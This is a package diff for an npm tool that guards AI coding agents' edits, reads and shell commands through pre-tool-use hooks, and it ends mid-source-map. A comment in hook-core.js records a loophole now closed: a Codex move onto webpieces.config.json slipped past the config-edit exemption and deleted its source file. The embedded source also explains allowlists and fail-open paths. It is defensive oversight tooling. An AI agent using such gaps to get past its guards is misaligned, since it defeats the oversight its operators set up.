@webpieces/agent-workflow-rules 0.4.1004 → 0.4.1005
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +7 -7
- package/src/adapters/hook-core.js +2 -1
- package/src/adapters/hook-core.js.map +1 -1
- package/src/bin/l0-allowlist.js +9 -2
- package/src/bin/l0-allowlist.js.map +1 -1
- package/src/bin/l0-decide.d.ts +0 -16
- package/src/bin/l0-decide.js +10 -23
- package/src/bin/l0-decide.js.map +1 -1
- package/src/bin/shim-audit-log.js +2 -2
- package/src/bin/shim-audit-log.js.map +1 -1
- package/src/bin/shim-deny-reason.js +2 -2
- package/src/bin/shim-deny-reason.js.map +1 -1
- package/src/bin/shim.js +24 -17
- package/src/bin/shim.js.map +1 -1
- package/src/core/runner.js +24 -17
- package/src/core/runner.js.map +1 -1
- package/templates/ai-hook.sh +151 -28
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@webpieces/agent-workflow-rules",
|
|
3
|
-
"version": "0.4.
|
|
3
|
+
"version": "0.4.1005",
|
|
4
4
|
"description": "Independent workflow guards, guard hook, installation and shim management for AI coding agents.",
|
|
5
5
|
"type": "commonjs",
|
|
6
6
|
"main": "./src/index.js",
|
|
@@ -24,20 +24,20 @@
|
|
|
24
24
|
"directory": "packages/tooling/agent-workflow-rules"
|
|
25
25
|
},
|
|
26
26
|
"dependencies": {
|
|
27
|
-
"@webpieces/hook-runtime": "0.4.
|
|
28
|
-
"@webpieces/rules-config": "0.4.
|
|
27
|
+
"@webpieces/hook-runtime": "0.4.1005",
|
|
28
|
+
"@webpieces/rules-config": "0.4.1005",
|
|
29
29
|
"inversify": "7.10.4",
|
|
30
30
|
"reflect-metadata": "0.2.2",
|
|
31
|
-
"@webpieces/tooling-common": "0.4.
|
|
32
|
-
"@webpieces/repo-workflow-core": "0.4.
|
|
31
|
+
"@webpieces/tooling-common": "0.4.1005",
|
|
32
|
+
"@webpieces/repo-workflow-core": "0.4.1005",
|
|
33
33
|
"tslib": "2.8.1",
|
|
34
|
-
"@webpieces/rules-sdk": "0.4.
|
|
34
|
+
"@webpieces/rules-sdk": "0.4.1005"
|
|
35
35
|
},
|
|
36
36
|
"publishConfig": {
|
|
37
37
|
"access": "public"
|
|
38
38
|
},
|
|
39
39
|
"devDependencies": {
|
|
40
|
-
"@webpieces/tooling-testkit": "0.4.
|
|
40
|
+
"@webpieces/tooling-testkit": "0.4.1005"
|
|
41
41
|
},
|
|
42
42
|
"types": "./src/index.d.ts",
|
|
43
43
|
"bin": {
|
|
@@ -161,7 +161,8 @@ function handleOneFile(event, file, cwd, mode) {
|
|
|
161
161
|
// Always allow edits to webpieces.config.json — it's the fix target when the config is broken.
|
|
162
162
|
// This returns BEFORE run(), so feature-branch-guard never sees a config edit; record that so the
|
|
163
163
|
// audit trail explains why a config edit on a bad branch was not blocked (see decision-log.ts).
|
|
164
|
-
|
|
164
|
+
// In place only: a Codex `*** Move to: webpieces.config.json` still deletes its source (#1448).
|
|
165
|
+
if (input.sourcePath === input.filePath && path.basename(input.filePath) === rules_config_1.CONFIG_FILENAME) {
|
|
165
166
|
if (mode !== 'rules') {
|
|
166
167
|
// `.webpieces/` (the decision log + sync cache these two calls write) lives at the repo
|
|
167
168
|
// root, not the AI's cwd — resolve it so a config edit from a subdir doesn't create a
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"hook-core.js","sourceRoot":"","sources":["../../../../../../packages/tooling/agent-workflow-rules/src/adapters/hook-core.ts"],"names":[],"mappings":";;AA0OA,8DAKC;AAoFD,kCA6DC;;AAhYD,mDAA6B;AAE7B,2CAAuD;AACvD,iEAAsE;AACtE,yDAAuE;AACvE,uDAAkI;AAClI,iEAAmE;AACnE,0DAA0D;AAC1D,0DAA8E;AAC9E,0DAAuF;AACvF,8DAAuE;AACvE,0DAAwD;AAExD,iEAA6D;AAC7D,qDAAoE;AACpE,0DAAsE;AACtE,0DAA2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GAA+G;AAC/G,SAAS,SAAS,CAAC,KAAqB;IACpC,IAAI,KAAK,CAAC,IAAI,KAAK,MAAM;QAAE,OAAO,KAAK,CAAC,IAAI,KAAK,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,KAAK,CAAC,IAAI,CAAC,OAAO,CAAC;IAChF,OAAO,KAAK,CAAC,KAAK,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,CAAC;AACvE,CAAC;AAED;;;;;;;;;GASG;AACH,oLAAoL;AACpL,SAAS,YAAY,CAAC,KAAY,EAAE,KAA4B;IAC5D,IAAI,KAAK,YAAY,4BAAa,EAAE,CAAC;QACjC,OAAO,IAAA,4BAAW,EAAC,KAAK,EAAE,IAAA,kCAAmB,EAAC,KAAK,CAAC,EAAE,YAAY,CAAC,CAAC;IACxE,CAAC;IACD,IAAI,KAAK,YAAY,8BAAa,EAAE,CAAC;QACjC,OAAO,IAAA,4BAAW,EAAC,KAAK,EAAE,KAAK,CAAC,OAAO,EAAE,qBAAqB,CAAC,CAAC;IACpE,CAAC;IACD,OAAO,IAAA,4BAAW,EAAC,KAAK,EAAE,0DAA0D,KAAK,CAAC,OAAO,EAAE,EAAE,YAAY,CAAC,CAAC;AACvH,CAAC","sourcesContent":["import * as path from 'path';\n\nimport { run, runBash, runRead } from '../core/runner';\nimport { branchStateHangTimeoutFor } from '../core/main-sync-timeout';\nimport { logRejection, extractRuleNames } from '../core/rejection-log';\nimport { logGuardDecision, GuardDecision, branchForLog, invocationLog, MATRIX_L0_BLOCK, matrixL2Row } from '../core/decision-log';\nimport { triggerMainSyncRefresh } from '../core/main-sync-refresh';\nimport { CONFIG_FILENAME } from '@webpieces/rules-config';\nimport { RepoRootFinder, renderRuleFailForAi } from '@webpieces/rules-config';\nimport { NormalizedToolInput, HookMode, BlockedResult } from '@webpieces/hook-runtime';\nimport { InformAiError, gitCheckout } from '@webpieces/tooling-common';\nimport { RuleFailError } from '@webpieces/rules-config';\nimport { AgentHookEvent, AiType, FileOperation } from '@webpieces/hook-runtime';\nimport { toError } from '@webpieces/tooling-common/to-error';\nimport { emitDeny, emitAllow, denyOutcome } from './agent-response';\nimport { HookOutcome, HookTerminated } from '@webpieces/hook-runtime';\nimport { AgentPayload, AgentPayloadParser } from '@webpieces/hook-runtime';\nimport { AgentAdapters } from '@webpieces/hook-runtime';\nimport { detectAiType } from '@webpieces/hook-runtime';\nimport { CodexSubagentSharedTreeGuard, CODEX_SUBAGENT_RULE } from './codex-subagent-guard';\nimport { ReviewIdentityStamper } from './review-identity-stamper';\nimport { governingShimRoot, isAllowed, installedShimRulesVersion } from '../bin/shim';\nimport { managedSurfaceDrift } from '../bin/hook-registration';\nimport { shimStaleDenyReason } from '../bin/shim-deny-reason';\nimport { writeGuardMatrixDoc, guardMatrixPointer } from '../core/l0-matrix';\nimport { logStream, StreamIdentity } from '../core/log-stream';\nimport { aiTypeContext } from '../core/ai-type-context';\nimport { L0_FAULT_SHIM_STALE, L0_FAULT_NONE } from '@webpieces/rules-config';\n\n// Which category of rules this hook invocation runs. The hook is split into two independently\n// installable PreToolUse hooks; each runs ONE category (the runner filters by it), and both can\n// receive file AND bash payloads:\n// - 'rules' → code-style rules (file/edit scope). Bash payloads pass through (no code rules apply).\n// - 'guards' → hookGuards section: bash git/PR guards on Bash AND file guards (feature-branch-guard)\n// on Write/Edit, PLUS a log-and-allow audit of Read. Matcher is Write|Edit|MultiEdit|Bash|Read.\n// - 'all' → both categories, used by the openclaw plugin adapter (a single before_tool_call hook).\nexport type { HookMode };\n\nconst ADAPTERS = new AgentAdapters();\nconst SUBAGENT_GUARD = new CodexSubagentSharedTreeGuard();\nconst REVIEW_IDENTITY_STAMPER = new ReviewIdentityStamper();\n\n// The rule name for a block's audit line: the FIRST rule the report cites, or `fallback` when the\n// report opens with no `[rule]` header (a hand-written guard message). Comma-joined when a report\n// cites several, so `rule=` never silently drops one.\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction blockingRule(report: string, fallback: string): string {\n const names = extractRuleNames(report);\n return names.length > 0 ? names.join(',') : fallback;\n}\n\n// webpieces-disable no-function-outside-class -- sibling of handleRead()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleBash(event: AgentHookEvent, cwd: string, mode: HookMode): never {\n const command = event.bash === null ? '' : event.bash.command;\n if (command.trim() === '') { emitAllow(); }\n\n // READ PARITY, and it can only ever be reached from a Codex event: the adapter leaves `reads`\n // empty for Claude Code, which has a real `Read` tool and its own fast path. A Codex read arrives\n // as `Bash` running a pager, so without this the read guard and the `calls/` audit trail see none\n // of them. The command is STILL run through the bash guards below — this adds a verdict, it never\n // replaces one.\n for (const readPath of event.reads) {\n handleRead(event, readPath, cwd, mode);\n }\n\n // The HARNESS travels with the command. Fault C and fault Y are decided inside the runner, and\n // both consult the L0 allowlist — which since the gated entry exists cannot be asked without\n // knowing who is calling. `event.aiType` is the adapter's answer, the same one that routed this\n // call to the Codex read-parity loop above.\n const result = runBash(command, cwd, mode, event.aiType);\n if (!result) {\n // ALLOWED — so if this call submits a reviewer verdict, record who is submitting it before the\n // command runs. `wp-write-review` cannot learn that from its env (see ReviewIdentityStamper).\n REVIEW_IDENTITY_STAMPER.stamp(event, command, cwd);\n emitAllow();\n }\n // NO DECISION LINE HERE. This used to write a generic `bash-guard` line because a Bash deny once\n // had no audit trail at all — but every layer now records its own: L1 into `L1-location/` with its\n // row, L2's guards into `L2-decisions/` with their rule and cache, and emitDeny below stamps the\n // call-level outcome onto `calls/`. So this was the THIRD line for one block, and the worst of the\n // three: it re-resolved the root from `cwd` via RepoRootFinder, which is not necessarily the tree\n // the guard actually judged, so a `cd`-relocated command scattered one block across two different\n // `.webpieces` directories.\n //\n // Bash deny → the event's kind is 'Bash', so denyJson adds the ANSI-red systemMessage (the only\n // field a Bash deny shows the human; permissionDecisionReason is invisible on Bash). See\n // agent-response.ts.\n emitDeny(event, result.report, blockingRule(result.report, 'bash-guard'), result.fault);\n}\n\n/**\n * The read-scoped guard pass. Returns normally to ALLOW; only calls emitDeny when the guard fires.\n *\n * Wrapped in its own catch that swallows into an allow. Every other path in this hook fails CLOSED,\n * and that is right for edits and shell commands — but a crash here would block the agent from\n * READING, which includes reading webpieces.config.json to turn the offending guard off. So this one\n * path deliberately inverts the policy: a broken read-guard degrades to a no-op, never to a wedge.\n */\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleRead(event: AgentHookEvent, filePath: string, cwd: string, mode: HookMode): void {\n if (filePath === '') return;\n let result: BlockedResult | null = null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n result = runRead(filePath, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n void error;\n return; // fail OPEN — see the doc comment\n }\n if (!result) return;\n logRejection('Read', new NormalizedToolInput(filePath, []), result, cwd);\n emitDeny(event, result.report, blockingRule(result.report, 'read-guard'), result.fault);\n}\n\n/**\n * Read-only tools (Read): audit-log, warm the main-sync cache, then run the ONE read-scoped guard\n * (read-stale-guard) and allow. Runs BEFORE the general rule engine — no code-style rule ever sees a\n * Read, and the only way this path can deny is a stale `main`. The audit trail still records every\n * file the AI opened (see setup.ts).\n *\n * Returns normally ONLY when the event is not a Read; otherwise it ends the invocation.\n */\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleReadFastPath(event: AgentHookEvent, cwd: string, mode: HookMode): void {\n if (event.kind !== 'Read') return;\n const readPath = event.reads.length > 0 ? event.reads[0] : '';\n if (mode !== 'rules') {\n invocationLog.begin(cwd, event.rawToolName, readPath);\n // Reads vastly outnumber edits, so refreshing here is what actually keeps the shared\n // main-sync cache warm for feature-branch-guard. Detached; never slows the read.\n // Judged on the session cwd's branch, read from its HEAD file (no git process, #1361).\n // read-stale-guard then claims again for the tree that owns the FILE, which may be another\n // worktree on a branch the cache has never seen; the latch is per branch, so that is heard.\n const branch = gitCheckout.branch(cwd);\n if (branch !== null) triggerMainSyncRefresh(cwd, branch, branchStateHangTimeoutFor(cwd));\n }\n handleRead(event, readPath, cwd, mode);\n emitAllow();\n}\n\n/**\n * The file/edit pipeline, run once per file the call touches.\n *\n * `event.files` is a LIST because ONE Codex `apply_patch` carries many files with mixed operations.\n * A Claude Code event always has exactly one entry, so the loop runs once and the behaviour is the\n * single-file behaviour it has always had.\n */\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleRead() in this module; the adapter is module-scope functions by design\nfunction handleFileTool(event: AgentHookEvent, cwd: string, mode: HookMode): never {\n if (event.files.length === 0) { emitAllow(); }\n\n // A Codex SUBAGENT writing into the tree it shares with its coordinator. Returns null for every\n // Claude Code event — that harness can hand a subagent its own worktree, and does.\n const subagentBlock = SUBAGENT_GUARD.check(event, new RepoRootFinder().resolveRepoRoot(cwd));\n if (subagentBlock) {\n emitDeny(event, subagentBlock.report, CODEX_SUBAGENT_RULE, subagentBlock.fault);\n }\n\n for (const file of event.files) {\n handleOneFile(event, file, cwd, mode);\n }\n emitAllow();\n}\n\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleOneFile(event: AgentHookEvent, file: FileOperation, cwd: string, mode: HookMode): void {\n const input = file.input;\n\n // Always allow edits to webpieces.config.json — it's the fix target when the config is broken.\n // This returns BEFORE run(), so feature-branch-guard never sees a config edit; record that so the\n // audit trail explains why a config edit on a bad branch was not blocked (see decision-log.ts).\n if (path.basename(input.filePath) === CONFIG_FILENAME) {\n if (mode !== 'rules') {\n // `.webpieces/` (the decision log + sync cache these two calls write) lives at the repo\n // root, not the AI's cwd — resolve it so a config edit from a subdir doesn't create a\n // stray `<subdir>/.webpieces` tree.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(\n root,\n new GuardDecision('feature-branch-guard', file.toolKind, input.filePath, branchForLog(root), 'ALLOW_EXEMPT', 'config-bypass (feature-branch-guard skipped)', '-', L0_FAULT_NONE, matrixL2Row('config-bypass (feature-branch-guard skipped)')),\n );\n // The guard's own refresh trigger lives inside its check(), which we skip here — so warm\n // the cache directly, otherwise a session that only edits webpieces.config.json never\n // refreshes the sync status. Fire-and-forget; never blocks the edit.\n const branch = gitCheckout.branch(root);\n if (branch !== null) triggerMainSyncRefresh(root, branch, branchStateHangTimeoutFor(cwd));\n }\n return;\n }\n\n const result = run(file.toolKind, input, cwd, mode);\n if (!result) return;\n\n logRejection(file.toolKind, input, result, cwd);\n // File-tool deny → the event's kind is 'File', so denyJson omits systemMessage (the reason\n // already renders red natively for these tools). See agent-response.ts.\n emitDeny(event, result.report, blockingRule(result.report, 'file-guard'), result.fault);\n}\n\n// What a stale committed shim lets through — now a thin adapter over the ONE L0 allowlist (isAllowed in\n// ../bin/shim), not a list of its own. A stale shim must NEVER trap the actions needed to recover: the\n// original \"block everything but the cures\" version also shadowed the always-allowed\n// webpieces.config.json edit (handleFileTool) and blocked reads, so a repo that ALSO needed its config\n// fixed would deadlock — blocked from editing the one file whose edit is normally always allowed, and\n// blocked from reading it to know how.\n//\n// It used to carry its OWN narrower list (isShimCureCommand: the three shim cures only), and that\n// narrowness was a defect, not a safety property: `pnpm install` and `git pull` — the two commands that\n// resolve the version disagreement underneath a stale shim — were denied. Consulting the shared\n// allowlist fixes that by construction.\n//\n// What is NOT a defect, and must not be \"fixed\": those cures rewrite the committed shim from the\n// INSTALLED binary's renderShim(), overwriting whatever was there. That is the invariant, not\n// collateral damage. The shim (D/X/K, in POSIX sh, pre-binary) and this binary (S/C/Y, in JS) are two\n// halves of ONE L0 and they exchange assumptions — the shim parses file_path and carries ALLOW-READ /\n// ALLOW-CONFIG entries this binary relies on. Pair a binary with a shim rendered by a DIFFERENT\n// release and L0 acquires holes that nothing reports. So the rule is absolute: the committed shim\n// equals renderShim() of the binary in node_modules, and a cure that forces that is the cure working.\n// See healShim's header, which states the same invariant from the other side.\n//\n// Corollary for anyone regenerating the shim in a webpieces PR: commit `templates/ai-hook.sh` (source,\n// locked to renderShim() by unit test) and leave `.claude/webpieces/ai-hook.sh` (generated artifact)\n// alone. In THIS repo the local source runs ahead of the pinned node_modules, so committing a shim\n// rendered from local source produces a commit whose shim and whose @webpieces pin come from different\n// releases — precisely the mismatch above. The artifact heals on the next upgrade; that is its job.\n//\n// - 'allow-cure' → a Bash cure on the allowlist: emitAllow directly, bypassing the git guards.\n// - 'pass' → a recovery action the normal flow already permits, so fall THROUGH and let it: ANY\n// Read (you must read to know how to fix — see handleRead, which itself fails open),\n// or an edit to webpieces.config.json (the always-allowed recovery target).\n// - 'deny' → all OTHER work: blocked until the committed shim matches renderShim() again.\nexport type ShimStaleDecision = 'allow-cure' | 'pass' | 'deny';\n// webpieces-disable no-function-outside-class -- pure decision helper beside the adapter's other module-scope functions; exported for direct unit testing.\nexport function shimStaleRecoveryDecision(toolName: string, command: string, filePath: string, aiType: AiType): ShimStaleDecision {\n const allowed = isAllowed(toolName, command, filePath, aiType);\n if (allowed === 'pass') return 'pass';\n if (allowed === 'allow') return 'allow-cure';\n return 'deny';\n}\n\n// MANAGED-HOOK-SURFACE self-guard, moved here from the rendered shim (2026-07-24) and widened from one\n// file to three (2026-08-07). The committed\n// .claude/webpieces/ai-hook.sh is webpieces-MANAGED and generated from renderShim(); if it no longer\n// matches, it was reverted / hand-edited / predates this binary, so its OWN fail-closed logic can't be\n// trusted. We are the CURRENT binary from node_modules — the trustworthy party — so WE decide here\n// instead of the (possibly stale) shim. It used to `cmp` itself inside the shim: a double-edged trap,\n// since the check lived in the very file it guarded and a fix could only ship by regenerating that\n// file. Now we fail closed on all real WORK while always leaving the recovery path open (see\n// shimStaleRecoveryDecision): the whole L0 allowlist, any Read, and editing webpieces.config.json. We deny +\n// tell the AI; we do NOT silently rewrite the file under it. 'rules' hook skips it (guards owns the\n// shim). Returns normally (pass / nothing to do) or exits via emitAllow/emitDeny.\n//\n// It asks the allowlist about the RAW WIRE FIELDS, not about the normalized event, and that ordering is\n// deliberate: L0 has to hold on a tree too broken to trust anything above it, including the adapters.\n// The raw fields are the same key names in both harnesses (measured), so one reading serves both, and\n// the answer cannot change because a normalizer changed. `event` is here only to decorate the deny.\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction enforceCommittedShim(payload: AgentPayload, event: AgentHookEvent, cwd: string, mode: HookMode): void {\n // ONE root for the whole decision, resolved from the RUNNING MODULE (governingShimRoot), never from\n // `cwd`: the shim file we compare and the renderShim() we compare it TO must come from the same\n // install, or the check straddles two trees and can never converge (see governingShimRoot's header).\n // `cwd` still selects where the L0 matrix doc is dropped — that is a \"where does the AI read\" question,\n // not part of the judgement.\n const shimRoot = governingShimRoot();\n if (mode === 'rules') return;\n // WHICH of the managed things moved — ai-hook.sh, either harness's hook registration\n // (.claude/settings.json, .codex/hooks.json), or the Claude settings' managed env entry (the\n // Bash-cwd pin that keeps a guard's verdict independent of where an earlier `cd` left the shell;\n // see managed-env.ts). Nothing validated the registration before it joined this\n // fault, so a settings file left on a superseded form silently changed WHO GOVERNS, with no signal\n // anywhere — which is the whole reason the registration is a drift surface and not just an install\n // step.\n const drifted = managedSurfaceDrift(shimRoot);\n if (drifted.length === 0) return;\n // The harness comes from the RAW envelope too — `detectAiType` asks one question of one key, so it\n // is as trustworthy here as the wire fields beside it, and it is the PRECISE test the shim's sh half\n // can only approximate. Reading it off the normalized event instead would put a normalizer between\n // L0 and its decision, which is the coupling the paragraph above exists to refuse.\n const decision = shimStaleRecoveryDecision(\n payload.tool_name, payload.tool_input.command ?? '', payload.tool_input.file_path ?? '',\n detectAiType(payload));\n if (decision === 'pass') return;\n if (decision === 'allow-cure') emitAllow();\n // Drop the L0 matrix doc where the AI can read it and point the deny at it — a Read is entry 1 of\n // the same allowlist, so the pointer is always followable. Best-effort: no doc → no pointer.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n const docPath = writeGuardMatrixDoc(root);\n // WRITE THE AUDIT LINE HERE. This block happens BEFORE invocationLog.begin() — it has to, since a\n // stale shim invalidates everything downstream — so emitDeny's flush finds nothing pending and an\n // `S` storm left NO trace at all: the one fault most likely to block twenty consecutive tool calls\n // was the one fault the trail could not show. A decision line is the fix that costs no reordering.\n const target = payload.tool_input.command ?? payload.tool_input.file_path ?? '';\n logGuardDecision(\n root,\n new GuardDecision('committed-shim-stale', payload.tool_name, target, branchForLog(root), 'BLOCK_AI_CURE', 'L0 fault S (committed shim != renderShim)', '-', L0_FAULT_SHIM_STALE, MATRIX_L0_BLOCK),\n );\n // L0 fault S in GUARD_MATRIX.md's codebook — named as the blocking rule so the invocation line\n // says WHAT stopped the call, not merely that something did, and stamped as `fault=S` so the same\n // grep finds it here as in the sh half's `L0-shim/` stream.\n // A subagent is discriminated by `agent_id`, which BOTH harnesses populate on stdin only off the\n // main loop (main falls back to the session id / leaves it empty). Its cure differs: the hooks\n // blocking it resolve through CLAUDE_PROJECT_DIR, which names the MAIN tree.\n const inSubagent = event.agentId !== '';\n emitDeny(event, shimStaleDenyReason(installedShimRulesVersion(), shimRoot ?? '', drifted, inSubagent) + guardMatrixPointer(docPath), 'committed-shim-stale', L0_FAULT_SHIM_STALE);\n}\n\n/**\n * THE PIPELINE, from raw stdin bytes to the decision — the whole of `parse -> adapter -> runner ->\n * emit`, as ONE function returning ONE value.\n *\n * `mode` selects which tool kinds to validate; payloads outside the mode's scope pass through\n * (emitAllow). A block is a PreToolUse `permissionDecision:\"deny\"` JSON on stdout with exit 0 — see\n * agent-response.ts. Fails CLOSED on any unexpected crash (returns a deny) so a broken hook never\n * silently lets an edit through, and the reason surfaces in the agent's UI instead of being hidden on\n * a stderr+exit-2 block.\n *\n * It reads NO stdin, writes NO stdout and calls NO exit: those three couplings are ports owned by\n * HookApp (see hook-ports.ts), which is what makes the composed pipeline drivable from a test. This\n * function is what `runMain` was; it is not a second spelling of it — `runMain` is deleted, and\n * `HookApp.run()` is the only entry point.\n */\n// webpieces-disable no-function-outside-class -- the module-scope hook body itself, sibling of handleBash()/handleFileTool(); the adapter is module-scope functions by design and must stay callable from a tree too broken to build a DI container\nexport function runPipeline(raw: string, mode: HookMode): HookOutcome {\n // Captured as soon as the ENVELOPE parses so the fail-closed catch below can tell denyJson which\n // kind of call it is denying — a crash on a Bash call still gets the visible red systemMessage, a\n // crash on a file tool does not. Null (before parse / malformed input) → treated as non-Bash.\n let event: AgentHookEvent | null = null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const payload = new AgentPayloadParser().parse(raw);\n if (!payload) { emitAllow(); }\n // The envelope shape first: it reads only `tool_name` and the identity fields, so it cannot\n // fail, and it is what the crash path needs. The full normalization below reads `tool_input`\n // and CAN fail (a malformed Codex patch envelope denies rather than being half-understood).\n event = ADAPTERS.envelope(payload);\n\n // BEFORE enforceCommittedShim(), which can itself write a BLOCK line. See LogStream for why\n // all three of session/agent/hook are needed to keep concurrent writers off one file.\n logStream.identify(new StreamIdentity(event.sessionId, event.agentId, mode));\n // Same moment, same reason: every JS-side stream stamps `ai=`, and the fault-S line written\n // inside enforceCommittedShim() is one of them. See AiTypeContext for why the harness is a\n // process-wide holder rather than a parameter on four writers.\n aiTypeContext.identify(event.aiType);\n\n // Prefer the payload cwd (the AI's actual working dir, follows a persisted `cd`) over\n // process.cwd(); they match today, but the payload is the authoritative signal and stays\n // correct if the hook is ever invoked from a fixed dir (e.g. via $CLAUDE_PROJECT_DIR).\n const cwd = payload.cwd ?? process.cwd();\n\n // Committed-shim self-guard: blocks real work while the committed shim is stale, but keeps the\n // recovery path open (cures, reads, config edit). See enforceCommittedShim / shimStaleRecoveryDecision.\n enforceCommittedShim(payload, event, cwd, mode);\n\n event = ADAPTERS.toEvent(payload, cwd);\n\n // Read-only tools: their own fast path, which never returns when it applies.\n handleReadFastPath(event, cwd, mode);\n\n // Per-invocation guard log (the `calls/` stream): tool + command/file + live branch +\n // main-sync-status snapshot, on EVERY guards call, for later cleanup automation. Best-effort;\n // never blocks the call. (The committed shim is no longer silently healed here — a mismatch is\n // reported by the self-guard above, not rewritten out from under the AI.)\n if (mode !== 'rules') {\n invocationLog.begin(cwd, event.rawToolName, logTarget(event));\n }\n\n if (event.kind === 'Bash') {\n // No code-style rule is bash-scoped, so the rules hook ignores Bash.\n if (mode === 'rules') { emitAllow(); }\n handleBash(event, cwd, mode);\n }\n\n // File payloads run in 'rules' (code-style), 'guards' (file-scoped guards like\n // feature-branch-guard), and 'all'. The runner filters to the right category.\n handleFileTool(event, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n // The pipeline's own terminal control flow, not a failure: emitAllow/emitDeny threw the answer\n // out to here from wherever they were called. Treating it as a crash would turn every allow\n // into a deny, so this branch comes FIRST and returns the carried outcome verbatim.\n if (error instanceof HookTerminated) return error.outcome;\n return denyForCrash(error, event);\n }\n}\n\n// What the `calls/` audit line names as the call's target: the command for a shell call, else the first\n// file it touches. A Codex `apply_patch` touching several files names the first — the rejection log and\n// the decision log carry the rest, per file.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope hook entry points in this adapter\nfunction logTarget(event: AgentHookEvent): string {\n if (event.kind === 'Bash') return event.bash === null ? '' : event.bash.command;\n return event.files.length > 0 ? event.files[0].input.filePath : '';\n}\n\n/**\n * The fail-closed boundary for anything that escaped the hook body. An escaped RuleFailError (a rule\n * that threw past the runner's per-rule catch) or an InformAiError (bad config/stdin, or a Codex patch\n * envelope this parser refuses to guess at) both carry an AI-readable message; anything else is an\n * unexpected bug. All three DENY and surface their reason, because a hook that crashed established\n * nothing and must never be read as an allow.\n *\n * It BUILDS the deny (denyOutcome) rather than throwing it (emitDeny), because it is already inside\n * the catch that the throw would land in — see HookTerminated. Same bytes either way.\n */\n// webpieces-disable no-function-outside-class -- sibling of the module-scope hook entry points in this adapter; a lone class for one terminal boundary would break the file's shape\nfunction denyForCrash(error: Error, event: AgentHookEvent | null): HookOutcome {\n if (error instanceof RuleFailError) {\n return denyOutcome(event, renderRuleFailForAi(error), 'rule-crash');\n }\n if (error instanceof InformAiError) {\n return denyOutcome(event, error.message, 'bad-config-or-stdin');\n }\n return denyOutcome(event, `[ai-hooks] hook crashed unexpectedly — failing closed: ${error.message}`, 'hook-crash');\n}\n"]}
|
|
1
|
+
{"version":3,"file":"hook-core.js","sourceRoot":"","sources":["../../../../../../packages/tooling/agent-workflow-rules/src/adapters/hook-core.ts"],"names":[],"mappings":";;AA2OA,8DAKC;AAoFD,kCA6DC;;AAjYD,mDAA6B;AAE7B,2CAAuD;AACvD,iEAAsE;AACtE,yDAAuE;AACvE,uDAAkI;AAClI,iEAAmE;AACnE,0DAA0D;AAC1D,0DAA8E;AAC9E,0DAAuF;AACvF,8DAAuE;AACvE,0DAAwD;AAExD,iEAA6D;AAC7D,qDAAoE;AACpE,0DAAsE;AACtE,0DAA2E;AAC3E,0DAAwD;AACxD,0DAAuD;AACvD,iEAA2F;AAC3F,uEAAkE;AAClE,sCAAsF;AACtF,gEAA+D;AAC/D,8DAA8D;AAC9D,iDAA4E;AAC5E,mDAA+D;AAC/D,6DAAwD;AACxD,0DAA6E;AAW7E,MAAM,QAAQ,GAAG,IAAI,4BAAa,EAAE,CAAC;AACrC,MAAM,cAAc,GAAG,IAAI,mDAA4B,EAAE,CAAC;AAC1D,MAAM,uBAAuB,GAAG,IAAI,+CAAqB,EAAE,CAAC;AAE5D,kGAAkG;AAClG,kGAAkG;AAClG,sDAAsD;AACtD,0JAA0J;AAC1J,SAAS,YAAY,CAAC,MAAc,EAAE,QAAgB;IAClD,MAAM,KAAK,GAAG,IAAA,gCAAgB,EAAC,MAAM,CAAC,CAAC;IACvC,OAAO,KAAK,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,QAAQ,CAAC;AACzD,CAAC;AAED,0JAA0J;AAC1J,SAAS,UAAU,CAAC,KAAqB,EAAE,G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I,KAAK,YAAY,8BAAa,EAAE,CAAC;QACjC,OAAO,IAAA,4BAAW,EAAC,KAAK,EAAE,KAAK,CAAC,OAAO,EAAE,qBAAqB,CAAC,CAAC;IACpE,CAAC;IACD,OAAO,IAAA,4BAAW,EAAC,KAAK,EAAE,0DAA0D,KAAK,CAAC,OAAO,EAAE,EAAE,YAAY,CAAC,CAAC;AACvH,CAAC","sourcesContent":["import * as path from 'path';\n\nimport { run, runBash, runRead } from '../core/runner';\nimport { branchStateHangTimeoutFor } from '../core/main-sync-timeout';\nimport { logRejection, extractRuleNames } from '../core/rejection-log';\nimport { logGuardDecision, GuardDecision, branchForLog, invocationLog, MATRIX_L0_BLOCK, matrixL2Row } from '../core/decision-log';\nimport { triggerMainSyncRefresh } from '../core/main-sync-refresh';\nimport { CONFIG_FILENAME } from '@webpieces/rules-config';\nimport { RepoRootFinder, renderRuleFailForAi } from '@webpieces/rules-config';\nimport { NormalizedToolInput, HookMode, BlockedResult } from '@webpieces/hook-runtime';\nimport { InformAiError, gitCheckout } from '@webpieces/tooling-common';\nimport { RuleFailError } from '@webpieces/rules-config';\nimport { AgentHookEvent, AiType, FileOperation } from '@webpieces/hook-runtime';\nimport { toError } from '@webpieces/tooling-common/to-error';\nimport { emitDeny, emitAllow, denyOutcome } from 